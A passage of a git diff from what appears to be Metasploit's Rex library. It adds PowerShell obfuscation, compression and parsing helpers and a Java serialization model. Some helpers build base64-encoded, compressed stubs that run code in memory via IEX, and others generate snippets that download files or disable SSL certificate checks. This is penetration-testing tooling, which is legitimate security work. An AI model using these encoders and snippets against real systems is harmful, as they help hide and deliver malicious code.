@rig.init_var(var)) + end + + code + end + + # + # Perform standard substitutions + # + # @return [String] code with standard substitution methods applied + def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars)) + # Save us the trouble of breaking injected .NET and such + subs.delete('strip_whitespace') unless get_string_literals.empty? + # Run selected modifiers + subs.each do |modifier| + send(modifier) + end + code.gsub!(EMPTY_LINE_REGEX, '') + + code + end + end # Obfu +end +end +end diff --git a/lib/rex/exploitation/powershell/output.rb b/lib/rex/exploitation/powershell/output.rb new file mode 100644 index 0000000000..ea42c1770b --- /dev/null +++ b/lib/rex/exploitation/powershell/output.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +require 'zlib' +require 'rex/text' + +module Rex +module Exploitation +module Powershell + module Output + # + # To String + # + # @return [String] Code + def to_s + code + end + + # + # Returns code size + # + # @return [Integer] Code size + def size + code.size + end + + # + # Return code with numbered lines + # + # @return [String] Powershell code with line numbers + def to_s_lineno + numbered = '' + code.split(/\r\n|\n/).each_with_index do |line, idx| + numbered << "#{idx}: #{line}" + end + + numbered + end + + # + # Return a zlib compressed powershell code wrapped in decode stub + # + # @param eof [String] End of file identifier to append to code + # + # @return [String] Zlib compressed powershell code wrapped in + # decompression stub + def deflate_code(eof = nil) + # Compress using the Deflate algorithm + compressed_stream = ::Zlib::Deflate.deflate(code, + ::Zlib::BEST_COMPRESSION) + + # Base64 encode the compressed file contents + encoded_stream = Rex::Text.encode_base64(compressed_stream) + + # Build the powershell expression + # Decode base64 encoded command and create a stream object + psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" + # Read & delete the first two bytes due to incompatibility with MS + psh_expression << '$s.ReadByte();' + psh_expression << '$s.ReadByte();' + # Uncompress and invoke the expression (execute) + psh_expression << 'IEX (New-Object IO.StreamReader(' + psh_expression << 'New-Object IO.Compression.DeflateStream(' + psh_expression << '$s,' + psh_expression << '[IO.Compression.CompressionMode]::Decompress)' + psh_expression << ')).ReadToEnd();' + + # If eof is set, add a marker to signify end of code output + # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end + psh_expression << "echo '#{eof}';" if eof + + @code = psh_expression + end + + # + # Return Base64 encoded powershell code + # + # @return [String] Base64 encoded powershell code + def encode_code + @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code)) + end + + # + # Return a gzip compressed powershell code wrapped in decoder stub + # + # @param eof [String] End of file identifier to append to code + # + # @return [String] Gzip compressed powershell code wrapped in + # decompression stub + def gzip_code(eof = nil) + # Compress using the Deflate algorithm + compressed_stream = Rex::Text.gzip(code) + + # Base64 encode the compressed file contents + encoded_stream = Rex::Text.encode_base64(compressed_stream) + + # Build the powershell expression + # Decode base64 encoded command and create a stream object + psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" + # Uncompress and invoke the expression (execute) + psh_expression << 'IEX (New-Object IO.StreamReader(' + psh_expression << 'New-Object IO.Compression.GzipStream(' + psh_expression << '$s,' + psh_expression << '[IO.Compression.CompressionMode]::Decompress)' + psh_expression << ')).ReadToEnd();' + + # If eof is set, add a marker to signify end of code output + # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end + psh_expression << "echo '#{eof}';" if eof + + @code = psh_expression + end + + # + # Compresses script contents with gzip (default) or deflate + # + # @param eof [String] End of file identifier to append to code + # @param gzip [Boolean] Whether to use gzip compression or deflate + # + # @return [String] Compressed code wrapped in decompression stub + def compress_code(eof = nil, gzip = true) + @code = gzip ? gzip_code(eof) : deflate_code(eof) + end + + # + # Reverse the compression process + # Try gzip, inflate if that fails + # + # @return [String] Decompressed powershell code + def decompress_code + # Extract substring with payload + encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first + # Decode and decompress the string + unencoded = Rex::Text.decode_base64(encoded_stream) + begin + @code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded) + rescue Zlib::GzipFile::Error + begin + @code = Rex::Text.zlib_inflate(unencoded) + rescue Zlib::DataError => e + raise RuntimeError, 'Invalid compression' + end + end + + @code + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb new file mode 100644 index 0000000000..96a4e54480 --- /dev/null +++ b/lib/rex/exploitation/powershell/param.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + class Param + attr_accessor :klass, :name + def initialize(klass, name) + @klass = klass.strip + @name = name.strip.gsub(/\s|,/, '') + end + + # + # To String + # + # @return [String] Powershell param + def to_s + "[#{klass}]$#{name}" + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb new file mode 100644 index 0000000000..9304403f47 --- /dev/null +++ b/lib/rex/exploitation/powershell/parser.rb @@ -0,0 +1,183 @@ +# -*- coding: binary -*- + +module Rex + module Exploitation + module Powershell + module Parser + # Reserved special variables + # Acquired with: Get-Variable | Format-Table name, value -auto + RESERVED_VARIABLE_NAMES = [ + '$$', + '$?', + '$^', + '$_', + '$args', + '$ConfirmPreference', + '$ConsoleFileName', + '$DebugPreference', + '$Env', + '$Error', + '$ErrorActionPreference', + '$ErrorView', + '$ExecutionContext', + '$false', + '$FormatEnumerationLimit', + '$HOME', + '$Host', + '$input', + '$LASTEXITCODE', + '$MaximumAliasCount', + '$MaximumDriveCount', + '$MaximumErrorCount', + '$MaximumFunctionCount', + '$MaximumHistoryCount', + '$MaximumVariableCount', + '$MyInvocation', + '$NestedPromptLevel', + '$null', + '$OutputEncoding', + '$PID', + '$PROFILE', + '$ProgressPreference', + '$PSBoundParameters', + '$PSCulture', + '$PSEmailServer', + '$PSHOME', + '$PSSessionApplicationName', + '$PSSessionConfigurationName', + '$PSSessionOption', + '$PSUICulture', + '$PSVersionTable', + '$PWD', + '$ReportErrorShowExceptionClass', + '$ReportErrorShowInnerException', + '$ReportErrorShowSource', + '$ReportErrorShowStackTrace', + '$ShellId', + '$StackTrace', + '$true', + '$VerbosePreference', + '$WarningPreference', + '$WhatIfPreference' + ].map(&:downcase).freeze + + # + # Get variable names from code, removes reserved names from return + # + # @return [Array] variable names + def get_var_names + our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip) + our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) } + end + + # + # Get function names from code + # + # @return [Array] function names + def get_func_names + code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten + end + + # + # Attempt to find string literals in PSH expression + # + # @return [Array] string literals + def get_string_literals + code.scan(/@"(.+?)"@|@'(.+?)'@/m) + end + + # + # Scan code and return matches with index + # + # @param str [String] string to match in code + # @param source [String] source code to match, defaults to @code + # + # @return [Array[String,Integer]] matched items with index + def scan_with_index(str, source = code) + ::Enumerator.new do |y| + source.scan(str) do + y << ::Regexp.last_match + end + end.map { |m| [m.to_s, m.offset(0)[0]] } + end + + # + # Return matching bracket type + # + # @param char [String] opening bracket character + # + # @return [String] matching closing bracket + def match_start(char) + case char + when '{' + '}' + when '(' + ')' + when '[' + ']' + when '<' + '>' + else + fail ArgumentError, 'Unknown starting bracket' + end + end + + # + # Extract block of code inside brackets/parenthesis + # + # Attempts to match the bracket at idx, handling nesting manually + # Once the balanced matching bracket is found, all script content + # between idx and the index of the matching bracket is returned + # + # @param idx [Integer] index of opening bracket + # + # @return [String] content between matching brackets + def block_extract(idx) + fail ArgumentError unless idx + + if idx < 0 || idx >= code.length + fail ArgumentError, 'Invalid index' + end + + start = code[idx] + stop = match_start(start) + delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1]) + delims.map { |x| x[1] = x[1] + idx + 1 } + c = 1 + sidx = nil + # Go through delims till we balance, get idx + while (c != 0) && (x = delims.shift) + sidx = x[1] + x[0] == stop ? c -= 1 : c += 1 + end + + code[idx..sidx] + end + + # + # Extract a block of function code + # + # @param func_name [String] function name + # @param delete [Boolean] delete the function from the code + # + # @return [String] function block + def get_func(func_name, delete = false) + start = code.index(func_name) + + return nil unless start + + idx = code[start..-1].index('{') + start + func_txt = block_extract(idx) + + if delete + delete_code = code[0..idx] + delete_code << code[(idx + func_txt.length)..-1] + @code = delete_code + end + + Function.new(func_name, func_txt) + end + end # Parser + end + end +end diff --git a/lib/rex/exploitation/powershell/psh_methods.rb b/lib/rex/exploitation/powershell/psh_methods.rb new file mode 100644 index 0000000000..cd4b028681 --- /dev/null +++ b/lib/rex/exploitation/powershell/psh_methods.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + ## + # Convenience methods for generating powershell code in Ruby + ## + + module PshMethods + # + # Download file via .NET WebClient + # + # @param src [String] URL to the file + # @param target [String] Location to save the file + # + # @return [String] Powershell code to download a file + def self.download(src, target) + target ||= '$pwd\\' << src.split('/').last + %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^ + end + + # + # Uninstall app, or anything named like app + # + # @param app [String] Name of application + # @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to + # the application name + # + # @return [String] Powershell code to uninstall an application + def self.uninstall(app, fuzzy = true) + match = fuzzy ? '-like' : '-eq' + %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ + end + + # + # Create secure string from plaintext + # + # @param str [String] String to create as a SecureString + # + # @return [String] Powershell code to create a SecureString + def self.secure_string(str) + %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$) + end + + # + # Find PID of file lock owner + # + # @param filename [String] Filename + # + # @return [String] Powershell code to identify the PID of a file + # lock owner + def self.who_locked_file(filename) + %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ + end + + # + # Return last time of login + # + # @param user [String] Username + # + # @return [String] Powershell code to return the last time of a user + # login + def self.get_last_login(user) + %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ + end + + # + # Disable SSL Certificate verification + # + # @return [String] Powershell code to disable SSL verification + # checks. + def self.ignore_ssl_certificate + '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb new file mode 100644 index 0000000000..d793553cfb --- /dev/null +++ b/lib/rex/exploitation/powershell/script.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +require 'rex' +require 'forwardable' + +module Rex +module Exploitation +module Powershell + class Script + attr_accessor :code + attr_reader :functions, :rig + + include Output + include Parser + include Obfu + # Pretend we are actually a string + extend ::Forwardable + # In case someone messes with String we delegate based on its instance methods + # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| + def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, + :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym, + :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, + :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, + :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, + :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char, + :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[], + :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition, + :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===, + :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice, + :initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index, + :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding, + :end_with? + + def initialize(code) + @code = '' + @rig = Rex::RandomIdentifierGenerator.new + + begin + # Open code file for reading + fd = ::File.new(code, 'rb') + while (line = fd.gets) + @code << line + end + + # Close open file + fd.close + rescue Errno::ENAMETOOLONG, Errno::ENOENT + # Treat code as a... code + @code = code.to_s.dup # in case we're eating another script + end + @functions = get_func_names.map { |f| get_func(f) } + end + + ## + # Class methods + ## + + # + # Convert binary to byte array, read from file if able + # + # @param input_data [String] Path to powershell file or powershell + # code string + # @param var_name [String] Byte array variable name + # + # @return [String] input_data as a powershell byte array + def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3)) + # File will raise an exception if the path contains null byte + if input_data.include? "\x00" + code = input_data + else + code = ::File.file?(input_data) ? ::File.read(input_data) : input_data + end + + code = code.unpack('C*') + psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" + lines = [] + 1.upto(code.length - 1) do |byte| + if (byte % 10 == 0) + lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" + else + lines.push ",0x#{code[byte].to_s(16)}" + end + end + + psh << lines.join('') + "\r\n" + end + + # + # Return list of code modifier methods + # + # @return [Array] Code modifiers + def self.code_modifiers + instance_methods.select { |m| m =~ /^(strip|sub)/ } + end + end # class Script +end +end +end diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index c97091f88c..c035a1f18a 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/text' require 'rexml/document' diff --git a/lib/rex/image_source/image_source.rb b/lib/rex/image_source/image_source.rb index 302c8dd430..33c7e49138 100644 --- a/lib/rex/image_source/image_source.rb +++ b/lib/rex/image_source/image_source.rb @@ -29,8 +29,12 @@ class ImageSource # FIXME, make me better string = '' loop do - char = read(offset, 1) - break if char == "\x00" + begin + char = read(offset, 1) + rescue RangeError + break + end + break if char.nil? || char == "\x00" offset += 1 string << char end diff --git a/lib/rex/java.rb b/lib/rex/java.rb new file mode 100644 index 0000000000..b2b631924c --- /dev/null +++ b/lib/rex/java.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' \ No newline at end of file diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb new file mode 100644 index 0000000000..983e8472e8 --- /dev/null +++ b/lib/rex/java/serialization.rb @@ -0,0 +1,54 @@ +# -*- coding: binary -*- + +module Rex + module Java + # Include constants defining terminal and constant + # values expected in a stream. + module Serialization + STREAM_MAGIC = 0xaced + STREAM_VERSION = 5 + TC_NULL = 0x70 + TC_REFERENCE = 0x71 + TC_CLASSDESC = 0x72 + TC_OBJECT = 0x73 + TC_STRING = 0x74 + TC_ARRAY = 0x75 + TC_CLASS = 0x76 + TC_BLOCKDATA = 0x77 + TC_ENDBLOCKDATA = 0x78 + TC_RESET = 0x79 + TC_BLOCKDATALONG = 0x7A + TC_EXCEPTION = 0x7B + TC_LONGSTRING = 0x7C + TC_PROXYCLASSDESC = 0x7D + TC_ENUM = 0x7E + BASE_WIRE_HANDLE = 0x7E0000 + + SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE + SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE + SC_SERIALIZABLE = 0x02 + SC_EXTERNALIZABLE = 0x04 + SC_ENUM = 0x10 + + PRIMITIVE_TYPE_CODES = { + 'B' => 'byte', + 'C' => 'char', + 'D' => 'double', + 'F' => 'float', + 'I' => 'int', + 'J' => 'long', + 'S' => 'short', + 'Z' => 'boolean' + } + + OBJECT_TYPE_CODES = { + '[' => 'array', + 'L' => 'object' + } + + TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES) + end + end +end + +require 'rex/java/serialization/model' \ No newline at end of file diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb new file mode 100644 index 0000000000..f885a35ae9 --- /dev/null +++ b/lib/rex/java/serialization/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + + autoload :Annotation, 'rex/java/serialization/model/annotation' + autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long' + autoload :BlockData, 'rex/java/serialization/model/block_data' + autoload :ClassDesc, 'rex/java/serialization/model/class_desc' + autoload :Contents, 'rex/java/serialization/model/contents' + autoload :Element, 'rex/java/serialization/model/element' + autoload :EndBlockData, 'rex/java/serialization/model/end_block_data' + autoload :Field, 'rex/java/serialization/model/field' + autoload :LongUtf, 'rex/java/serialization/model/long_utf' + autoload :NewArray, 'rex/java/serialization/model/new_array' + autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' + autoload :NewEnum, 'rex/java/serialization/model/new_enum' + autoload :NewObject, 'rex/java/serialization/model/new_object' + autoload :NullReference, 'rex/java/serialization/model/null_reference' + autoload :Reference, 'rex/java/serialization/model/reference' + autoload :Reset, 'rex/java/serialization/model/reset' + autoload :Stream, 'rex/java/serialization/model/stream' + autoload :Utf, 'rex/java/serialization/model/utf' + + end + end + end +end + diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb new file mode 100644 index 0000000000..d4ef420d9b --- /dev/null +++ b/lib/rex/java/serialization/model/annotation.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides an annotation representation. It's used for both class + # annotations (classAnnotation) and object annotations (objectAnnotation). + class Annotation < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute contents + # @return [Array] The annotation contents + attr_accessor :contents + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.contents = [] + end + + # Deserializes a Rex::Java::Serialization::Model::Annotation + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + loop do + content = decode_content(io, stream) + self.contents << content + return self if content.kind_of?(EndBlockData) + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::Annotation + # + # @return [String] if serialization suceeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + raise ::RuntimeError, 'Failed to serialize Annotation with empty contents' if contents.empty? + + encoded = '' + + contents.each do |content| + encoded << encode_content(content) + end + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = '[ ' + contents_data = contents.collect {|content| "#{print_content(content)}"} + str << contents_data.join(', ') + str << ' ]' + str + end + + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/block_data.rb b/lib/rex/java/serialization/model/block_data.rb new file mode 100644 index 0000000000..7f103ebf12 --- /dev/null +++ b/lib/rex/java/serialization/model/block_data.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a block data representation + class BlockData < Element + + # @!attribute length + # @return [Integer] the length of the block + attr_accessor :length + # @!attribute contents + # @return [String] the contents of the block + attr_accessor :contents + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + # @param contents [String] the contents of the block + def initialize(stream = nil, contents = '') + super(stream) + self.contents = contents + self.length = contents.length + end + + # Deserializes a Rex::Java::Serialization::Model::BlockData + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + raw_length = io.read(1) + raise RuntimeError, 'Failed to unserialize BlockData' if raw_length.nil? + self.length = raw_length.unpack('C')[0] + + if length == 0 + self.contents = '' + else + self.contents = io.read(length) + if contents.nil? || contents.length != length + raise RuntimeError, 'Failed to unserialize BlockData' + end + end + + self + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + contents_hex = [] + contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } + + "[ #{contents_hex.join(', ')} ]" + end + + # Serializes the Rex::Java::Serialization::Model::BlockData + # + # @return [String] + def encode + encoded = [length].pack('C') + encoded << contents + + encoded + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/block_data_long.rb b/lib/rex/java/serialization/model/block_data_long.rb new file mode 100644 index 0000000000..34adbac6d5 --- /dev/null +++ b/lib/rex/java/serialization/model/block_data_long.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a block data (long) representation + class BlockDataLong < Element + + # @!attribute length + # @return [Integer] the length of the block + attr_accessor :length + # @!attribute contents + # @return [String] the contents of the block + attr_accessor :contents + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + # @param contents [String] the contents of the block + def initialize(stream = nil, contents = '') + super(stream) + self.contents = contents + self.length = contents.length + end + + # Deserializes a Rex::Java::Serialization::Model::BlockDataLong + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + raw_length = io.read(4) + if raw_length.nil? || raw_length.length != 4 + raise ::RuntimeError, 'Failed to unserialize BlockDataLong' + end + self.length = raw_length.unpack('N')[0] + + if length == 0 + self.contents = '' + else + self.contents = io.read(length) + if contents.nil? || contents.length != length + raise ::RuntimeError, 'Failed to unserialize BlockData' + end + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::BlockDataLong + # + # @return [String] + def encode + encoded = [length].pack('N') + encoded << contents + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + contents_hex = [] + contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } + + "[ #{contents_hex.join(', ')} ]" + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb new file mode 100644 index 0000000000..ad69f58c1f --- /dev/null +++ b/lib/rex/java/serialization/model/class_desc.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a Java classDesc representation + class ClassDesc < Element + + include Rex::Java::Serialization::Model::Contents + + attr_accessor :description + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.description = nil + end + + # Deserializes a Rex::Java::Serialization::Model::ClassDesc + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + content = decode_content(io, stream) + allowed_contents = [NullReference, NewClassDesc, Reference] + + unless allowed_contents.include?(content.class) + raise ::RuntimeError, 'ClassDesc unserialize failed' + end + + self.description = content + self + end + + # Serializes the Rex::Java::Serialization::Model::ClassDesc + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + encoded = '' + allowed_contents = [NullReference, NewClassDesc, Reference] + + unless allowed_contents.include?(description.class) + raise ::RuntimeError, 'Failed to serialize ClassDesc' + end + + encoded << encode_content(description) + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + print_content(description) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb new file mode 100644 index 0000000000..fae30ac689 --- /dev/null +++ b/lib/rex/java/serialization/model/contents.rb @@ -0,0 +1,156 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + module Contents + include Rex::Java::Serialization + + # Deserializes a content + # + # @param io [IO] the io to read from + # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed or unsupported content + def decode_content(io, stream) + opcode = io.read(1) + raise ::RuntimeError, 'Failed to unserialize content' if opcode.nil? + opcode = opcode.unpack('C')[0] + content = nil + + case opcode + when TC_BLOCKDATA + content = BlockData.decode(io, stream) + when TC_BLOCKDATALONG + content = BlockDataLong.decode(io, stream) + when TC_ENDBLOCKDATA + content = EndBlockData.decode(io, stream) + when TC_OBJECT + content = NewObject.decode(io, stream) + when TC_CLASS + content = ClassDesc.decode(io, stream) + when TC_ARRAY + content = NewArray.decode(io, stream) + when TC_STRING + content = Utf.decode(io, stream) + stream.add_reference(content) unless stream.nil? + when TC_LONGSTRING + content = LongUtf.decode(io, stream) + stream.add_reference(content) unless stream.nil? + when TC_ENUM + content = NewEnum.decode(io, stream) + when TC_CLASSDESC + content = NewClassDesc.decode(io, stream) + when TC_PROXYCLASSDESC + raise ::RuntimeError, 'Failed to unserialize unsupported TC_PROXYCLASSDESC content' + when TC_REFERENCE + content = Reference.decode(io, stream) + when TC_NULL + content = NullReference.decode(io, stream) + when TC_EXCEPTION + raise ::RuntimeError, 'Failed to unserialize unsupported TC_EXCEPTION content' + when TC_RESET + content = Reset.decode(io, stream) + else + raise ::RuntimeError, 'Failed to unserialize content' + end + + content + end + + # Serializes a content + # + # @param content [Rex::Java::Serialization::Model::Element] the content to serialize + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode_content(content) + encoded = '' + + case content + when BlockData + encoded << [TC_BLOCKDATA].pack('C') + when BlockDataLong + encoded << [TC_BLOCKDATALONG].pack('C') + when EndBlockData + encoded << [TC_ENDBLOCKDATA].pack('C') + when NewObject + encoded << [TC_OBJECT].pack('C') + when ClassDesc + encoded << [TC_CLASS].pack('C') + when NewArray + encoded << [TC_ARRAY].pack('C') + when Utf + encoded << [TC_STRING].pack('C') + when LongUtf + encoded << [TC_LONGSTRING].pack('C') + when NewEnum + encoded << [TC_ENUM].pack('C') + when NewClassDesc + encoded << [TC_CLASSDESC].pack('C') + when NullReference + encoded << [TC_NULL].pack('C') + when Reset + encoded << [TC_RESET].pack('C') + when Reference + encoded << [TC_REFERENCE].pack('C') + else + raise ::RuntimeError, 'Failed to serialize content' + end + + encoded << content.encode + encoded + end + + # Creates a print-friendly string representation + # + # @param content [Rex::Java::Serialization::Model::Element] the content to print + # @return [String] + def print_content(content) + str = '' + + case content + when BlockData + str << "#{print_class(content)} { #{content.to_s} }" + when BlockDataLong + str << "#{print_class(content)} { #{content.to_s} }" + when EndBlockData + str << "#{print_class(content)}" + when NewObject + str << "#{print_class(content)} { #{content.to_s} }" + when ClassDesc + str << "#{print_class(content)} { #{content.to_s} }" + when NewArray + str << "#{print_class(content)} { #{content.to_s} }" + when Utf + str << "#{print_class(content)} { #{content.to_s} }" + when LongUtf + str << "#{print_class(content)} { #{content.to_s} } " + when NewEnum + str << "#{print_class(content)} { #{content.to_s} }" + when NewClassDesc + str << "#{print_class(content)} { #{content.to_s} }" + when NullReference + str << "#{print_class(content)}" + when Reset + str << "#{print_class(content)}" + when Reference + str << "#{print_class(content)} { #{content.to_s} }" + else + raise ::RuntimeError, 'Failed to serialize content' + end + + str + end + + # Creates a print-friendly string representation of the content class + # + # @param content [Rex::Java::Serialization::Model::Element] the content + # @return [String] + def print_class(content) + content.class.name.split('::').last + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/element.rb b/lib/rex/java/serialization/model/element.rb new file mode 100644 index 0000000000..2a17db87fb --- /dev/null +++ b/lib/rex/java/serialization/model/element.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + class Element + + attr_accessor :stream + + # Deserializes a Rex::Java::Serialization::Model::Element + # + # @param io [IO] the io to read from + # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds + # @return [nil] if deserialization doesn't succeed + def self.decode(io, stream = nil) + elem = self.new(stream) + elem.decode(io) + end + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + self.stream = stream + end + + def decode(io) + self + end + + def encode + '' + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + self.class.name.split('::').last + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/end_block_data.rb b/lib/rex/java/serialization/model/end_block_data.rb new file mode 100644 index 0000000000..6fe0c98634 --- /dev/null +++ b/lib/rex/java/serialization/model/end_block_data.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + class EndBlockData < Element + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb new file mode 100644 index 0000000000..d84ad29a13 --- /dev/null +++ b/lib/rex/java/serialization/model/field.rb @@ -0,0 +1,172 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a field description representation (fieldDesc). It's used for + # both primitive descriptions (primitiveDesc) and object descriptions (objectDesc). + class Field < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute type + # @return [String] The type of the field. + attr_accessor :type + # @!attribute name + # @return [Rex::Java::Serialization::Model::Utf] The name of the field. + attr_accessor :name + # @!attribute field_type + # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. + attr_accessor :field_type + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.type = '' + self.name = nil + self.field_type = nil + end + + # Deserializes a Rex::Java::Serialization::Model::Field + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @faise [RuntimeError] if deserialization doesn't succeed + def decode(io) + code = io.read(1) + + unless code && is_valid?(code) + raise ::RuntimeError, 'Failed to unserialize Field' + end + + self.type = TYPE_CODES[code] + self.name = Utf.decode(io, stream) + + if is_object? + self.field_type = decode_field_type(io) + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::Field + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def 